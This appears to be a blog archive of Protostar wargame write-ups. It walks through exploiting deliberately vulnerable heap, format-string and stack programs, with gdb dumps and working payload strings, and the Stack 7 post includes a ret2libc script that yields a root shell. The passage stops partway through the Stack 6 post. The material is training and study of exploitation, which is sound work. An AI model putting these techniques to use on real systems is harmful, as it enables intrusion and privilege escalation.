Sunday, December 30, 2012

exploit-exercises Protostar: Heap 2

This is the write-up for heap 2 challenge for the Protostar wargame.
The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
        char name[32];
        int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
        char line[128];

        while(1) {
                printf("[ auth = %p, service = %p ]\n", auth, service);

                if(fgets(line, sizeof(line), stdin) == NULL) break;
               
                if(strncmp(line, "auth ", 5) == 0) {
                        auth = malloc(sizeof(auth));
                        memset(auth, 0, sizeof(auth));
                        if(strlen(line + 5) < 31) {
                                strcpy(auth->name, line + 5);
                        }
                }
                if(strncmp(line, "reset", 5) == 0) {
                        free(auth);
                }
                if(strncmp(line, "service", 6) == 0) {
                        service = strdup(line + 7);
                }
                if(strncmp(line, "login", 5) == 0) {
                        if(auth->auth) {
                                printf("you have logged in already!\n");
                        } else {
                                printf("please enter your password\n");
                        }
                }
        }
}
Even if you miss the error after a first quick glance and you didn't get the "heap pointers are stale" , this should raise your eyebrows.
user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804c008, service = (nil) ]
auth A
[ auth = 0x804c018, service = (nil) ]
The first malloc returned 0x804c008 and the second malloc returned 0x804c018 i.e there is 16 bytes space between the two. Uncounting the 8 bytes of the second chunk's header, it means that the malloc() reserved 8 bytes space (at most; rounding up to the next double word multiple.)
(gdb) continue
Continuing.
[ auth = (nil), service = (nil) ]
auth A

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x00000a41  0x00000000
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
auth B

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x00000a41  0x00000000
0x804c010:  0x00000000  0x00000011  0x00000a42  0x00000000
0x804c020:  0x00000000  0x00000fe1  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
Wait, what ? But our structure's size is 36 bytes (32 for char + 4 for int) and
it should have reserved 40 bytes. The key instruction here is:
auth = malloc(sizeof(auth));
auth is "struct auth" pointer, and a pointer's size is 4 bytes (in x86)! the malloc
should have been passed a sizeof(struct auth) instead. This may be missed in a quick glance when the pointer's name is the same as the structure's name. To exploit this program, we have to set auth->auth (the int in struct auth)
which points at 32 bytes offset from the returned address of the malloc().
Counting off 8 bytes of the first allocated chunk + 8 bytes of the second
allocated chunk's header, we will set the 17th byte of the second chunk's data
block in order to have auth->auth being true. To clarify a bit more, here is how our heap space will be when using service + 16 bytes (16th being the 0x0a new line character.)
(gdb) continue
Continuing.
[ auth = (nil), service = (nil) ]
auth A
Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
service 123456789ABCDE

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x00000a41  0x00000000
0x804c010:  0x00000000  0x00000019  0x33323120  0x37363534
0x804c020:  0x42413938  0x0a454443  0x00000000  0x00000fd9
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
And when writing at least 17 bytes:
(gdb) continue
Continuing.
[ auth = (nil), service = (nil) ]
auth A

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
service 123456789ABCDEF

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x00000a41  0x00000000
0x804c010:  0x00000000  0x00000019  0x33323120  0x37363534
0x804c020:  0x42413938  0x46454443  0x0000000a  0x00000fd9
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
And that is it for heap 2 challenge!

Friday, December 28, 2012

exploit-exercises Protostar: Heap 1

This is the write-up for heap 1 challenge of exploit-exercises' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
        int priority;
        char *name;
};

void winner()
{
        printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
        struct internet *i1, *i2, *i3;

        i1 = malloc(sizeof(struct internet));
        i1->priority = 1;
        i1->name = malloc(8);

        i2 = malloc(sizeof(struct internet));
        i2->priority = 2;
        i2->name = malloc(8);

        strcpy(i1->name, argv[1]);
        strcpy(i2->name, argv[2]);


        printf("and that's a wrap folks!\n");
}
The printf() in main() is actually optimized by the compiler into a puts(), as shown by the library call tracer utility.
user@protostar:~/heap1$ ltrace /opt/protostar/bin/heap1 1 2
__libc_start_main(0x80484b9, 3, 0xbffff874, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                                      = 0x0804a008
malloc(8)                                                      = 0x0804a018
malloc(8)                                                      = 0x0804a028
malloc(8)                                                      = 0x0804a038
strcpy(0x0804a018, "1")                                        = 0x0804a018
strcpy(0x0804a038, "2")                                        = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                               = 25
+++ exited (status 25) +++
This will help us leveraging the GOT to exploit the challenge.
Anyway, running the program in gdb with AAAA and BBBB as arguments our heap is
laid out as follow before the second strcpy:
(gdb) x/20x 0x804a000
0x804a000:  0x00000000  0x00000011  0x00000001  0x0804a018
0x804a010:  0x00000000  0x00000011  0x41414141  0x00000000
0x804a020:  0x00000000  0x00000011  0x00000002  0x0804a038
0x804a030:  0x00000000  0x00000011  0x00000000  0x00000000
0x804a040:  0x00000000  0x00020fc1  0x00000000  0x00000000
And after the second strcpy:
(gdb) x/20x 0x804a000
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011      0x41414141      0x00000000
0x804a020:      0x00000000      0x00000011      0x00000002      0x0804a038
0x804a030:      0x00000000      0x00000011      0x42424242      0x00000000
0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000
To explain it further, the content of the heap at this point is:
(8 bytes) 0x804a000 i1-header
(4 bytes) 0x804a008 i1-priority
(4 bytes) 0x804a00c i1-name -----------------
(8 bytes) 0x804a010 i1-*name-header       |
(8 bytes) 0x804a018 i1-*name <-------------|
(8 bytes) 0x804a020 i2-header
(4 bytes) 0x804a028 i2-priority
(4 bytes) 0x804a02c i2-name -----------------
(8 bytes) 0x804a030 i2-*name-header       |
(8 bytes) 0x804a038 i2-*name <-------------|
The first strcpy() starts writing at 0x804a018, with no restrictions. This means that we can overwrite the value of i2-name at 0x804a02c (20 bytes offset) which originally contains 0x0804a038. The second strcpy() will thus, write the content of argv[2] to the memory address we overwrite in i2-name (20 bytes offset of argv[1]). Armed with arbitrary memory overwriting, we have a variety of target memory addresses to target that we can pick from.
One suitable is the Global Offset Table, and specifically the puts() library function which is called right after.
user@protostar:~/heap1$ objdump -R /opt/protostar/bin/heap1

/opt/protostar/bin/heap1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts
winner() is at 0x08048494 memory address.
user@protostar:~/heap1$ nm /opt/protostar/bin/heap1 | grep winner
08048494 T winner
Consequently, our payload will be then:
argv[1]: 20 bytes junk + location of puts in relocation symbol table
argv[2]: Address of winner()
This will write winner() address into the address of puts relocation symbol in the Global Offset Table.
user@protostar:~/heap1$ /opt/protostar/bin/heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1356733308

Wednesday, December 26, 2012

exploit-exercises Protostar: Heap 0

This is the write-up for heap 0, the first heap exploitation challenges of the
Protostar wargame. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
    char name[64];
};

struct fp {
    int (*fp)();
};

void winner()
{
    printf("level passed\n");
}

void nowinner()
{
    printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
    struct data *d;
    struct fp *f;

    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;

    printf("data is at %p, fp is at %p\n", d, f);

    strcpy(d->name, argv[1]);

    f->fp();

}
The goal is to force the execution of winner() function. We start with a first look at how the memory is laid out and what we should (and shouldn't!) overwrite.
(gdb) run `python -c "print 'A'*63"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap0 `python -c "print 'A'*64"`
data is at 0x804a008, fp is at 0x804a050

Breakpoint 1, main (argc=2, argv=0xbffff814) at heap0/heap0.c:38
38              f->fp();
(gdb) x/20x 0x804a008
0x804a008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a018:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a028:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a038:      0x41414141      0x41414141      0x41414141      0x00414141
0x804a048:      0x00000000      0x00000011      0x08048478      0x00000000
we start writing at 0x804a008 and f->fp is at 0x804a050 which results in a 72 bytes offset. One of the differences between the dynamically allocated memory on the heap and local variables on the stack is that for in the former case, the header of the allocated memory space is also stored on the heap. We may want to overwrite fp while keeping the header of f (the 8 bytes between data and f->fp) intact. For this challenge, neither keeping it untampered (or leveraging it) nor fully understanding the content of the header part is important. Last point is to find what to write into fp. The address of write() could be extracted with either nm or objdump.
user@protostar:~$ nm /opt/protostar/bin/heap0 | grep winner
08048478 T nowinner
08048464 T winner
Thus, to pass this level, a simple payload should suffice:
user@protostar:~$ /opt/protostar/bin/heap0 `python -c "print 'A'*72+'\x64\x84\x04\x08'"`
data is at 0x804a008, fp is at 0x804a050
level passed
And that is it.

Sunday, December 23, 2012

exploit-exercises Protostar: Format 4

The last format string exploitation of Protostar wargame is Format 4. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
        printf("code execution redirected! you win\n");
        _exit(1);
}

void vuln()
{
        char buffer[512];
        fgets(buffer, sizeof(buffer), stdin);
        printf(buffer);
        exit(1);
}

int main(int argc, char **argv)
{
        vuln();
}
This time, our task is to redirect the flow of execution of the program to the
hello() function. We can use either nm or objdump to find hello()'s location.
user@protostar:/opt/protostar/bin$ nm ./format4 | grep hello
080484b4 T hello
user@protostar:/opt/protostar/bin$ objdump -d ./format4 | grep hello
080484b4 <hello>:
The hello() function is located at 0x080484b4. Overwriting vuln()'s return address on the stack doesn't seem like an option as the printf() call is followed directly by an exit() call. On the other hand, and seeing that vuln() uses the exit() library call from libc while hello() uses the exit system call, the suggested method to accomplish this challenge seems pretty obvious by now.
We start by preparing our format string exploit.

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA%x.%x.%x.%x'" | ./format4
AAAA200.b7fd8420.bffff624.41414141
user@protostar:/opt/protostar/bin$ python -c "print 'AAAA%4\$x'" | ./format4
AAAA41414141
user@protostar:/opt/protostar/bin$ python -c "print 'AAAA%4\$n'" | ./format4
Segmentation fault (core dumped)
This time however, we will hijack the Global Offset Table and overwrite the reference to the exit() function. We use objdump to output the dynamic relocation entries of the program.
user@protostar:/opt/protostar/bin$ objdump -R ./format4

./format4:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit
The reference to the exit() function is at 0x08049724. The exploit thus, will replace the address exit() at 0x08049724 with the address of hello() in memory which is 0x080484b4. Building the exploit for multi-byte overwriting is more detailed in the previous write-up. In essence we will write:
0x00b4  => 0x08049724
0x0484  => 0x08049725
0x0008  => 0x08049727
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x27\x97\x04\x08%168x%4$hn%976x%5$hn%132x%6$hn"' | ./format4
$�%�'�
<snip-large-space>
code execution redirected! you win
And that is it. End of format strings exploitation challenges.

Saturday, December 22, 2012

exploit-exercises Protostar: Format 3

A new write-up, and a new challenge. This time, with Exploit-exercises' Format 3 challenge of the Protostar wargame. We are tasked to exploit a vulnerable program with the following source code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
        printf(string);
}

void vuln()
{
        char buffer[512];
        fgets(buffer, sizeof(buffer), stdin);
        printbuffer(buffer);

        if(target == 0x01025544) {
                printf("you have modified the target :)\n");
        } else {
                printf("target is %08x :(\n", target);
        }
}

int main(int argc, char **argv)
{
        vuln();
}
Looks pretty much like last challenge's, with two differences. First, the vulnerable printf() call is within printbuffer() function which is called in vuln(). We will be a bit further down the stack when exploiting the format string vulnerability. In other terms, the parameter position that allows us to access the start of our input will be higher.
user@protostar:/opt/protostar/bin$ python -c 'print "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"' | ./format3
AAAA0.bffff5d0.b7fd7ff4.0.0.bffff7d8.804849d.bffff5d0.200.b7fd8420.bffff614.41414141
target is 00000000 :(
We will start from position 12.
user@protostar:/opt/protostar/bin$ python -c 'print "AAAA%12$x"' |
./format3
AAAA41414141

target is 00000000 :(

user@protostar:/opt/protostar/bin$ objdump -t ./format3 | grep target
080496f4 g     O .bss   00000004              target

user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08%12$n"' | ./format3
��
target is 00000004 :(
The second is that we will have to write a multi-byte number to target. Using a huge offset would be both ugly and not possible.
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08%10000000000x%12$n"' | ./format3
��target is 00000000 :(
Thus, we will make multiple writes, one for each byte (or two). We start by setting the addresses of the bytes that we will write to.
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%x%12$n%x%13$n%x%14$n"' | ./format3
������0bffff5d0b7fd7ff4
target is 001d150d :(
And start overwriting the bytes.
user@protostar:/opt/protostar/bin$ python -c 'print
"\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%x%13$n%x%14$n"' | ./format3

������                                                       0bffff5d0b7fd7ff4
target is 00544c44 :(
with a mental calculation and testing, we arrive to:

user@protostar:/opt/protostar/bin$ python -c 'print
"\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%17x%13$n%173x%14$n"' | ./format3

������                                                       0         bffff5d0
b7fd7ff4
you have modified the target :)

exploit-exercises Protostar: Format 2

Again, with another challenge of the Protostar wargame, the source code of
Format 2 is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln() {
        char buffer[512];
        fgets(buffer, sizeof(buffer), stdin);
        printf(buffer);
        if(target == 64) {
                printf("you have modified the target :)\n");
        } else {
                printf("target is %d :(\n", target);
        }
}

int main(int argc, char **argv)
{
        vuln();
}
Two changes are introduced compared to the previous challenge. The first is that the input should be provided through standard input and will be copied into buffer which is a local variable of vuln(), the function responsible of the vulnerable printf() call. Thus, buffer is closer to printf()'s stack and the parameter position we will use should be way lower compared to Format 1.
The second is that target variable should be changed into a specific value: 64.
We start by finding the parameter position that will point to the start of
buffer.
user@protostar:/opt/protostar/bin$ echo "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x" | ./format2
AAAA200.b7fd8420.bffff614.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78
target is 0 :(
The start of buffer is at the 4th position, and could be reached with direct parameter access.
user@protostar:/opt/protostar/bin$ echo "AAAA%4\$x" | ./format2
AAAA41414141
target is 0 :(
Next, we get the address at which, the target variable is stored.
user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep target
080496e4 g     O .bss   00000004              target
With all the needed info, we can start writing into target variable.
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%4$n"' | ./format2
��
target is 4 :(
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08AAAA%4$n"' | ./format2
��AAAA
target is 8 :(
%n will write into the target address the number of bytes printed so far. A shortcut to pad enough bytes is to use the minimum field width.
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%60d%4$n"' | ./format2
��                                                         512
you have modified the target :)
And that is it.

exploit-exercises Protostar: Format 1

This time, in Format 1 challenge of Protostar wargame, we are provided with the following source code of the vulnerable program.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;

void vuln(char *string)
{
printf(string);

if(target) {
printf("you have modified the target :)\n");
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}
First, we try to find at what parameter position we start reading our own input. We are told "your input string lies far up the stack :)"
user@protostar:/opt/protostar/bin$ gdb -q ./format1
Reading symbols from /opt/protostar/bin/format1...done.
(gdb) run "AAAA.%x.%x.%x.%x.%x.%x.%x.%x"
Starting program: /opt/protostar/bin/format1 "AAAA.%x.%x.%x.%x.%x.%x.%x.%x"
AAAA.804960c.bffff788.8048469.b7fd8304.b7fd7ff4.bffff788.8048435.bffff96f
Program exited normally.
(gdb) run "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
Starting program: /opt/protostar/bin/format1 "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
AAAA804960c.bffff608.8048469.b7fd8304.b7fd7ff4.bffff608.8048435.bffff7f0.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff688.b7eadc76.2.bffff6b4.bffff6c0.b7fe1848.bffff670.ffffffff.b7ffeff4.804824d.1.bffff670.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff688.9678b196.bc2ce786.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6b4.8048450.8048440.b7ff1040.bffff6ac.b7fff8f8.2.bffff7d5.bffff7f0.0.bffff98c.bffff996.bffff9b7.bffff9cb.bffff9d3.bffff9ed.bffff9fd.bffffa10.bffffa1d.bffffa2c.bffffa38.bffffa43.bffffa81.bffffa92.bfffff82.bfffff90.bfffffa7.bfffffd8.0.20.b7fe2414.21.b7fe2000.10.78bf3bf.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.3e9.d.3e9.e.3e9.17.1.19.bffff7bb.1f.bfffffe1.f.bffff7cb.0.0.0.0.0.ca000000.483c508f.5274b4ca.6f4d36cc.69e05f8d.363836.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141
Program exited normally.
Instead of a huge number of "%x", we can leverage the direct parameter access feature and use only format output.
We will brute-force the position of our parameter with a simple bash script.
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i ";
./format1 "AAAABB%$i\$x" | grep 4141; if (( $? == 0 )); then break; fi ; echo
""; done;

<snip>....
130 AAAABB41414141
We start reading our input at position 130.
user@protostar:/opt/protostar/bin$ ./format1 "AAAABB%130\$x"
AAAABB41414141
We can also tell our program to write at a provided address by using "%n"
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "AAAABB%130\$n"'`
Segmentation fault (core dumped)

user@protostar:/opt/protostar/bin$ gdb -q ./format1 /tmp/core.11.format1.12342
Reading symbols from /opt/protostar/bin/format1...done.

<snip>
Program terminated with signal 11, Segmentation fault.
#0  0xb7ed7aa9 in _IO_vfprintf_internal (s=0xb7fd84c0, format=Cannot access memory at address 0x4
) at vfprintf.c:1950
1950    vfprintf.c: No such file or directory.
        in vfprintf.c
(gdb) x/5i $eip
0xb7ed7aa9 <_IO_vfprintf_internal+16361>:       mov    %edx,(%eax)
0xb7ed7aab <_IO_vfprintf_internal+16363>:       jmp    0xb7ed4290 <_IO_vfprintf_internal+2000>
0xb7ed7ab0 <_IO_vfprintf_internal+16368>:       cmpl   $0x0,-0x528(%ebp)
0xb7ed7ab7 <_IO_vfprintf_internal+16375>:       je     0xb7ed7fa3 <_IO_vfprintf_internal+17635>
0xb7ed7abd <_IO_vfprintf_internal+16381>:       mov    -0x4b4(%ebp),%edi
(gdb) i r eax
eax            0x41414141       1094795585
Now, time to overwrite our target. As the variable is an unitialized global, it
will be stored in .bss section.  We use -t option of objdump to output the
symbol table.
user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g     O .bss   00000004              target
With all the necessary information in our hands, crafting the exploit is easy.
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "\x38\x96\x04\x08BB%130\$n"'`
8�BByou have modified the target :)
One last point, in this challenge, the condition is "if (target)" as global
unitialized variables are set to 0. What the "%n" parameter writes in target
variable isn't that much important. It is left for the next challenge.

exploit-exercises Protostar: Format 0

Format 0 is the first format strings exploitation related challenge of Exploit-Exercises' Protostar wargame. The source code is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];
  target = 0;
  sprintf(buffer, string);
  if(target == 0xdeadbeef)
    {
      printf("you have hit the target correctly :)\n");
    }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
Our goal is to change target's value into 0xdeadbeef. As the target variable is on the stack and we are writing into buffer, a stack based buffer overflow seems obvious.
user@protostar:/opt/protostar/bin$ ./format0 `python -c 'print "A"*64+"\xef\xbe\xad\xde"'`
you have hit the target correctly :)
But this level has this restriction "This level should be done in less than 10 bytes of input." which means that we have to take a look at man printf and use the minimum field width instead.
user@protostar:/opt/protostar/bin$ printf '%3d\n'
  0
user@protostar:/opt/protostar/bin$ printf '%10d\n'
         0
user@protostar:/opt/protostar/bin$ ./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`
you have hit the target correctly :)
And that is it!

Tuesday, December 18, 2012

exploit-exercises Protostar: Stack 7

In this article, we tackle on Stack 7, the latest Stack challenge of Exploit-Exercises' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
    char buffer[64];
    unsigned int ret;
    printf("input path please: "); fflush(stdout);
    gets(buffer);
    ret = __builtin_return_address(0);
    if((ret & 0xb0000000) == 0xb0000000)
    {
        printf("bzzzt (%p)\n", ret);
        _exit(1);
    }
    printf("got path %s\n", buffer);
    return strdup(buffer);
}

int main(int argc, char **argv)
{
    getpath();
}
Like the previous challenge, we have a restriction on the return address. But unlike last time, the restriction is ((ret & 0xb0000000) == 0xb0000000) which will prevent us from redirecting our attack to a library function like system(). The key point here is that the restriction is applied on the first returning address only! which means that we can do a ROP-Like exploit, with only one gadget: ret, and chain afterwards with our normal shellcode.
user@protostar:~/stack7$ objdump -d /opt/protostar/bin/stack7 | grep ret
 8048383:       c3                      ret
 8048494:       c3                      ret
 80484c2:       c3                      ret
 8048544:       c3                      ret
 8048553:       c3                      ret
 8048564:       c3                      ret
 80485c9:       c3                      ret
 80485cd:       c3                      ret
 80485f9:       c3                      ret
 8048617:       c3                      ret
We will be using one of those little tiny toys, the ret at 0x8048617 and adapt the exploit from the previous challenge.
user@protostar:~/stack7$ cat shell7.py
#!/usr/bin/env python

offset = 0x50
cmd = "/bin/sh;#"
junk = "J" * (offset - len(cmd))
gadg_ret = "\x17\x86\x04\x08"
ret1= "\xb0\xff\xec\xb7"
ret2 = "\xc0\x60\xec\xb7"
arg1 = "\x6c\xf7\xff\xbf"
arg2 = "\xf0\xf1\xff\xff"

payload = cmd + junk + gadg_ret + ret1 + ret2 + arg1 + arg2

print payload
user@protostar:~/stack7$ (cat payload1; cat) | /opt/protostar/bin/stack7
input path please: got path /bin/sh;#JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ �JJJJJJJJJJJJ ������`��l�������
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
exit
And that is it! Ofcourse there are many other variations, one of which would be
returning to our own shellcode like in Stack5 instead of returning to system()
library call.

Monday, December 17, 2012

exploit-exercises Protostar: Stack 6

This time, we hit on Stack 6 challenge of Exploit-Exercises's Protostar wargame. The source is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
    char buffer[64];
    unsigned int ret;
    printf("input path please: "); fflush(stdout);
    gets(buffer);
    ret = __builtin_return_address(0);
    if((ret & 0xbf000000) == 0xbf000000)
    {
        printf("bzzzt (%p)\n", ret);
        _exit(1);
    }
    printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
    getpath();
}
This time though, we won't be able to write our shellcode on the stack and
return to it because of the ((ret & 0xbf000000) == 0xbf000000) protection. As the challenge suggests, we will be leveraging already loaded in memory functions through the use of ret2libc technique. First, we get the memory addresses of interest to us.
(gdb) break *getpath+43
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack6
input path please: AAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, getpath () at stack6/stack6.c:15
warning: Source file is more recent than executable.
15  ret = __builtin_return_address(0);
(gdb) x/40wx $esp
0xbffff740: 0xbffff75c  0x00000000  0xb7fe1b28  0x00000001
0xbffff750: 0x00000000  0x00000001  0xb7fff8f8  0x41414141
0xbffff760: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff770: 0x41414141  0x08049600  0xbffff788  0x0804835c
0xbffff780: 0xb7ff1040  0x080496ec  0xbffff7b8  0x08048539
0xbffff790: 0xb7fd8304  0xb7fd7ff4  0x08048520  0xbffff7b8
0xbffff7a0: 0xb7ec6365  0xb7ff1040  0xbffff7b8  0x08048505
0xbffff7b0: 0x08048520  0x00000000  0xbffff838  0xb7eadc76
0xbffff7c0: 0x00000001  0xbffff864  0xbffff86c  0xb7fe1848
0xbffff7d0: 0xbffff820  0xffffffff  0xb7ffeff4  0x080482a1
(gdb) x/2x $ebp
0xbffff7a8: 0xbffff7b8  0x08048505
(gdb) p $ebp + 4 - 0xbffff75c
$1 = (void *) 0x50
We have 0x50 bytes offset before overwriting the return address. We print the address at which our favorite libc call, system() is loaded as well as exit()'s.
(gdb) p system
$2 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$3 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
system() takes one char pointer as an argument. exit() takes one integer.
int system(const char *command);
void exit(int status);
And now with the payload which will as following:
<command-to-be-executed>.<JUNK(up-to-offset))>.<@system>.<@exit>.<system-arg>.<exit-arg>
To get correct addresses to use in our shellcode, we check the core dump of the
binary.
